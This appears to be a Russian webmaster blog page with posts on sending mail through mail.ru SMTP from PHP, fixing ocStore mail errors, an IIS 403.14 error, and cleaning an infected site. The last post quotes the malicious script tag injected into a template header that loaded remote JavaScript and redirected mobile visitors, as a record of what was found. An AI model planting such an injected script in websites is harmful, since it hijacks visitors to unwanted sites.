Email: Этот адрес электронной почты защищен от спам-ботов. У вас должен быть включен JavaScript для просмотра.

Web

Раздел о Веб разработке и продвижении

Выкладываю для общего пользования пример PHP-скрипта для отправки почты через SMTP ssl mail.ru

 

<?php
function get_data($smtp_conn)
{
  $data="";
  while($str = fgets($smtp_conn,515)) 
  {
    $data .= $str;
    if(substr($str,3,1) == " ") { break; }
  }
  return $data;
}
 
$header="Date: ".date("D, j M Y G:i:s")." +0700\r\n"; 
$header.="From: =?windows-1251?Q?".str_replace("+","_",str_replace("%","=",urlencode('ВашеИмя')))."?= <ВашаПочта@mail.ru>\r\n"; 
$header.="X-Mailer: The Bat! (v3.99.3) Professional\r\n"; 
$header.="Reply-To: =?windows-1251?Q?".str_replace("+","_",str_replace("%","=",urlencode('ВашеИмя')))."?= <ВашаПочта@mail.ru>\r\n";
$header.="X-Priority: 3 (Normal)\r\n";
$header.="Message-ID: <172562218.".date("YmjHis")."@mail.ru>\r\n";
$header.="To: =?windows-1251?Q?".str_replace("+","_",str_replace("%","=",urlencode('ИмяПолучателя')))."?= <АдресПолучателя@gmail.com>\r\n";
$header.="Subject: =?windows-1251?Q?".str_replace("+","_",str_replace("%","=",urlencode('проверка')))."?=\r\n";
$header.="MIME-Version: 1.0\r\n";
$header.="Content-Type: text/plain; charset=windows-1251\r\n";
$header.="Content-Transfer-Encoding: 8bit\r\n";
 
 
$text="привет, проверка связи.";
 
$smtp_conn = fsockopen("ssl://smtp.mail.ru", 465,$errno, $errstr, 10);
$data = get_data($smtp_conn);
 
$code = substr($data,0,3);
print 'Connection:'.$data;
print '<br>';
 
fputs($smtp_conn,"EHLO mail.ru\r\n");
$data = get_data($smtp_conn);
 
$test='qwe';
 
$code = substr($data,0,3);
echo 'EHLO:'.$data;
print '<br>';
 
fputs($smtp_conn,"AUTH LOGIN\r\n");
$data = get_data($smtp_conn);
 
$code = substr($data,0,3);
echo 'AUTH:'.$data;
print '<br>';
 
fputs($smtp_conn,base64_encode("ВашаПочта@mail.ru")."\r\n");
$data = get_data($smtp_conn);
 
$code = substr($data,0,3);
echo $data;
print '<br>';
 
fputs($smtp_conn,base64_encode("ВашПароль")."\r\n");
$data = get_data($smtp_conn);
 
$code = substr($data,0,3);
echo 'pass:'.$data;
print '<br>';
 
fputs($smtp_conn,"MAIL FROM:ВашаПочта@mail.ru\r\n");
$data = get_data($smtp_conn);
 
$code = substr($data,0,3);
echo 'MAIL:'.$data;
print '<br>';
 
fputs($smtp_conn,"RCPT TO:АдресПолучателя@gmail.com\r\n");
$data = get_data($smtp_conn);
 
$code = substr($data,0,3);
echo 'RCPT:'.$data;
print '<br>';
 
fputs($smtp_conn,"DATA\r\n");
$data = get_data($smtp_conn);
 
$code = substr($data,0,3);
echo 'DATA:'.$data;
print '<br>';
 
fputs($smtp_conn,$header."\r\n".$text."\r\n.\r\n");
$data = get_data($smtp_conn);
 
$code = substr($data,0,3);
echo 'header:'.$data;
print '<br>';
 
fputs($smtp_conn,"QUIT\r\n");
$data = get_data($smtp_conn);
 
$code = substr($data,0,3);
echo 'QUIT:'.$data;
print '<br>';
 
?>

Столкнулся с проблемой отправки писем из интернет-магазина на базе ocStore 2.3.0.2.3

Для начала проверьте настройки магазина в админке: Система-Настройки

Откройте редактирование магазина и на вкладке почта установите:

Почтовый протокол: SMTP
Параметры функции mail оставьте пустым
SMTP хост: ssl://smtp.mail.ru
SMTP логин: вашапочта@mail.ru
SMTP пароль: вашпароль
SMTP порт: 465
SMTP таймаут: 60

Затем посмотрите логи /log/error.log

У меня там была ошибка: PHP Fatal error:  Uncaught Exception: Error: RCPT TO not accepted from server! in /var/www/clients/client1/web1/web/system/library/mail.php:340

Не работала форма обратной связи и не приходили на почту заказы клиентов.

Я начал с исправления формы обратной связи.

Для этого нужно поправить файл /catalog/controller/information/contact.php

исправить строку
$mail->setReplyTo($this->request->post['email']);
на
$mail->setReplyTo($this->config->get('config_email'));

Если все исправили, то при отправке формы получите сообщение: Ваш запрос был успешно отправлен администрации магазина!

 Для того чтобы приходило оповещение о заказе, нужно исправить файл /system/storage/modification/catalog/model/checkout/order.php 

в 3х местах найти строки
$mail->setTo($order_info['email']);
или 
$mail->setTo($this->config->get('config_email'));

и заменить их на:
$mail->setTo($this->config->get('config_email'));
$mail->setReplyTo($this->config->get('config_email'));

Если все получилось, то в конце оформления заказа, будете получать сообщение:

Заказ успешно сформирован!

Ваш заказ был успешно сформирован!

При переносе рабочего приложения (запускалось из под Visual Studio) на боевой сервер, получал ошибку:

Ошибка HTTP 403.14 - Forbidden

Веб-сервер настроен таким образом, чтобы не формировать списка содержимого каталога.

Перечитал кучу статей, основным советом был - перерегистрировать NET framework 4 командой:

c:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe -r

Вот еще хорошая статья на StackOverflow:

http://stackoverflow.com/questions/3762287/script-not-served-by-static-file-handler-on-iis7-5

Но в моем случае тоже не помогло.

Результат такой - Windows Server 2008 - был без Service Pack 1. После обновления, плюс всех остальных обновлений с сайта Microsoft - ASP.NET приложение прекрасно запустилось!

 

 

На сайте знакомого завелась зараза. Вирусы почистил, созданных пользователей удалил, сайт поднял. Yandex и Google признали сайт чистым и вернули в выдачу.

И тут звонок: "У меня с сайта выкидывает на голые попы". Проверяю - у меня все ок! Оказалась переадресация происходит только на устройствах Apple (iPhone и iPad) и на WindowsPhone. На моем Андрюше (Android) никаких признаков заражения.

Чем я только сайт не проверял: и локальными антивирусами (Kaspersky, MalwareBytes, DrWeb) и онлайн проверками (secu.ru, sitesecure.ru, www.virustotal.com) - везде сайт чист.

И только потом, потеряв кучу времени нашел в заголовке исходного кода страницы строчку (выделили красным):

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>" >
<script type='text/javascript' src='http://newswap.ru/js/?tds=109'></script>
<head>

Вот такой вот незаметный скрипт в одну строчку прописался в шапке файла index.php шаблона!

А я уже весь сайт перерыл на наличие редиректов в .htaccess, включений base64 в коде, location.replace, document.location, просто по дате изменений.

Здоровых вам сайтов и безопасного сёрфинга в сети.

Надежное оборудование Стоматолог 46. Удаление зубов на СХА . Лучшие отзывы